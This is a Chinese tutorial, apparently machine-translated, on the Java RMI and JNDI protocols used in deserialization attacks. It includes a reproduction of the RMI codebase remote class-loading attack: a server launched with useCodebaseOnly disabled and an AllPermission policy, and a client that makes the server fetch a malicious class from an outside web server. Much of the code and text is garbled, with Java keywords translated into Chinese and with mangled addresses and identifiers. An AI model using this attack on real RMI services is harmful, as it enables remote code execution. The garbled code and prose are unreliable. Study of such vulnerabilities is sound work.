反序列化攻击涉及到的相关协议
RMI和JNDI都是Java分布中更频繁使用的技术。 JRMP远程消息交换协议在Java RMI下运行,是基础传输协议。如果您以Web应用程序为例,那么RMI就像HTTP协议一样,JNDI就像Apache HTTP服务器一样,JRMP等于TCP协议。 HTTP从后端请求文件。实际上,后端中间件不仅是Apache,还包括IIS,Tomcat等。基础层是基于传输数据的TCP协议。
1 RMI
1.1 RMI 原理
RMI的全名是远程方法调用,远程方法调用。它的目标类似于RPC,它是在Java虚拟机上在另一台Java虚拟机中的对象上调用方法。整个过程中涉及三个组织:客户端,注册表和服务器。

RMI的传输基于避难所。
对于与对象作为参数的任何RMI接口,请构建对象,以使服务器端值将恢复对象作为服务器类中存在的任何可序列化类。
RMI涉及参数的传递和执行结果的返回。参数或返回值可以是基本数据类型,当然也可能是对对象的引用。因此,必须序列化这些需要传输的对象,这要求相应类必须实现Java.io.serializable接口,并且客户端的serialVersionuid字段必须与服务器一致。
问题
什么是存根?
每个远程对象都包含一个代理对象存根。当在本地Java虚拟机上运行的程序调用在远程Java虚拟机上运行的对象方法时,它首先在本地为该对象创建代理对象存根,然后在代理对象上调用匹配方法。
存根对象负责调用参数并返回值流,包装和解开包装以及网络层的通信过程。
什么是骨骼?
每个远程对象还包含一个骨架对象。骨架在远程对象所在的虚拟机上运行,并接受来自存根对象的调用。
RMI的基本操作:
抬头
绑定
解关
列表
重新启动
1.2 模拟 Java RMI 利用过程
1.2.1 RMI Server
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
包com.geekby.javarmi;
导入java.rmi.naming;
导入java.rmi.remote;
导入java.rmi.remoteexception;
导入java.rmi.registry.locateregistry;
导入java.rmi.server.unicastremoteobject;
公共类Rmiserver {
公共接口iremotehellowerld扩展远程{
public string hello()抛出remoteexception;
}
公共类RemoteHelloworld扩展了UnicastremoteObject insterment rmiserver.iremotehellowerld {
受保护的远程Helloworld()抛出Remoteexception {
极好的();
}
@Override
public string hello()抛出remoteexception {
返回“你好世界”;
}
}
私有void start()抛出异常{
远程Helloworld h=new RemoteHelloworld();
//创建并运行RMI注册表
LocatereGistry.CreateRegertistry(1099);
//将远程Helloworld对象绑定到名称Hello
naming.rebind('rmi: //127.0.0.0.1:1099/hello',h);
}
public static void main(string [] args)抛出异常{
new rmiserver()。start();
}
}
如上所述,RMI服务器分为三个部分:
继承java.rmi.remote的界面,该界面定义要远程调用的函数,例如上面的hello()
实现此界面的类
用于创建注册表,实例化上述类并将其绑定到地址的主要类,即服务器。
在上面的示例代码中,将注册表与服务器合并。
naming.bind的第一个参数是一个URL,例如:rmi: //host

信息
如果RMI注册表正在本地运行,则可以省略主机和端口。目前,主机默认为LocalHost,端口默认为1099。
1
naming.bind('Hello',newRemoteHelloworld());
1.2.2 RMI Client
12
3
4
5
6
7
8
9
10
11
包com.geekby.javarmi;
导入java.rmi.naming;
公共类rmiclient {
public static void main(string [] args)抛出异常{
rmiserver.iremotehelloworld hello=(rmiserver.iremotehellowerld)naming.lookup('rmi3: //127.0.0.0.0.1:1099/hello');
字符串ret=hello.hello();
system.out.println(ret);
}
}
客户端使用naming.lookup在注册表中找到带有名称Hello的对象。随后的使用与本地使用一致。
尽管执行远程方法时,该代码是在远程服务器上执行的,但客户端仍然需要知道其中有哪些方法,并且目前反映了接口的重要性。这就是为什么我们必须继承远程并编写需要在接口Iremotehellowerld中调用的方法的原因,因为客户端还需要使用此接口。
通过Wireshark数据包捕获,观察通信过程:

整个过程是用两个TCP握手进行的,这意味着实际建立了两个TCP连接。
首次建立TCP连接是连接到服务器端口1099的客户端。客户端谈判后,客户端将呼叫消息发送到服务器,服务器回复了returndata消息,然后客户端创建了新的TCP连接,以连接到遥控端的端口51388。



在整个过程中,首先,客户端连接到注册表并找到名称为Hello的对象,该对象与数据流中的呼叫消息相对应。然后,注册表返回一个序列化数据,该数据是带有名称=Hello的对象,对应于数据流中的returndata消息。客户端应对对象进行审理,并发现该对象是IP

信息
RMI注册表就像一个网关,该网关本身不会执行远程方法,但是RMI服务器可以在其上的对象绑定关系中注册名称。 RMI客户端通过名称查询RMI注册表以获得这种绑定关系,然后连接到RMI服务器。最后,远程方法实际上是在RMI服务器上调用的。
1.3 攻击面
当攻击者可以访问目标RMI注册表时,将发生哪些安全问题?首先,RMI注册表是远程对象管理的地方,可以理解为远程对象的“后端”。您可以尝试直接访问“后端”功能,例如修改远程服务器上Hello的相应对象。但是,Java限制了对RMI注册表的远程访问。只有当源地址为localhost时,才能调用,绑定,解开和其他方法。
但是,列表和查找方法可以远程调用。

1.3.1 RMI 利用 codebase 执行任意代码
有一段时间Java可以在浏览器中运行。使用applet时,通常需要指定代码库属性,例如:1
applet code='helloworld.class'codebase='applet'width='800'height='600' /applet
除Applet外,RMI中还有远程加载方案,其中还涉及代码库。代码库是一个地址,它告诉Java虚拟机在哪里搜索类。
如果指定codebase=http://geekby.site/然后加载org.example....e/example/example.class.class.class并用作示例类的字节。
在RMI过程中,客户端和服务器之间传递了一些序列化对象。当这些对象被估算时,他们将寻找类。如果在避免结束时找到一个对象,它将转到您自己的类路径以找到相应的类。如果在本地找不到此类,它将在代码库中远程加载该类。
如果控制代码库,则可以加载恶意类。在RMI中,可以将代码库与串行数据一起传输。收到此数据后,服务器将搜索类Path和类指定的代码库。由于控制了代码库,因此造成了任意命令执行漏洞。
官员通过以下方式解决了安全问题
安装和配置了SecurityManager
Java版本低于7U21、6U45或Java.rmi.server.usecodebaseonly
官员将java.rmi.server.usecodebaseonly的默认值从false到true。当将Java.rmi.server.usecodebaseonly配置为TRUE时,Java虚拟机只会信任预配置的代码库,并且不再支持从RMI请求中获取。
通过创建4个文件来重现漏洞:
ICALC.JAVA
1
2
3
4
5
6
导入java.rmi.remote;
导入java.rmi.remoteexception;
导入java.util.list;
公共接口ICALC扩展远程{
public Integer sum(listInteger params)抛出remoteexception;
}
calc.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
导入java.rmi.remoteexception;
导入java.util.list;
导入java.rmi.server.unicastremoteobject;
公共类CALC扩展了UnicastremoteObject instrumption iCalc {
public calc()抛出remoteexception {}
public Integer sum(listInteger params)抛出remoteexception {
整数sum=0;
for(integer param : params){
sum +=param;
}
返回总和;
}
}
semerotermiserver.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
导入java.rmi.naming;
导入java.rmi.registry.locateregistry;
公共类Enemotermiserver {
私有void start()抛出异常{
if(system.getSecurityManager()==null){
system.out.println('Setup SecurityManager');
System.SetSecurityManager(new SecurityManager());
}
calc h=new calc();
LocatereGistry.CreateRegertistry(1099);
naming.rebind('refobj',h);
}
public static void main(string [] args)抛出异常{
新的semerotermiserver()。start();
}
}
客户端
1
2
3
授予{
许可Java.security.allpermission;
};
编译并运行:
1
2
Javac *.java
java -djava.rmi.server.hostname=10.28.178.250 -djava.rmi.server.usecodebaseonly=false -djava.security.policy.policy.policy=client.policy remotermiserver
rmiclient.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
导入java.rmi.naming;
导入java.util.list;
导入java.util.arraylist;
导入java.io.serializable;
公共类rmiclient实现序列化{
公共类有效载荷扩展了arrayListInteger {}
public void lookup()抛出异常{
ICALC r=(ICALC)
naming.lookup('rmi: //10.28.178.250:1099/refobj');
ListInteger li=new Pareload();
li.Add(3);
li.Add(4);
system.out.println(r.sum(li));
}
public static void main(string [] args)抛出异常{
new rmiclient()。lookup();
}}}
该客户端需要在另一个位置运行,并且RMI服务器需要在Local类Path的类中找到类,然后才能将类加载到代码库中。因此,rmiclient.java不能放置在RMI服务器所在的目录中。
运行rmiclient:
1
java -djava.rmi.server.usecodebaseonly=false -djava.rmi.server.codebase=3http://Example.com/rmiclient
您只需要编译恶意类,然后将其类文件放入Web服务器上的/rmiclient$ payload.class中。
2 JNDI
JNDI(Java命名和目录界面),包括命名服务和目录服务。 JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理架构(CORBA),轻量级目录访问协议(LDAP)或域名服务(DNS)。2.1 JNDI 组成
名称服务命名服务,命名服务将命名名称与对象相关联,提供了通过名称查找对象的操作
姓名
名称,要在命名系统中找到一个对象,您需要提供对象的名称
结合
指向名称和对象的链接称为绑定
参考
参考。在某些命名的服务系统中,该系统不会直接将对象存储在系统中,而是将对象引用。
语境
上下文,上下文是一系列名称和对象的绑定集合
参考
RMI,JNDI,LDAP,JRMP,JMX,JMS in Javaphith0n java聊天系列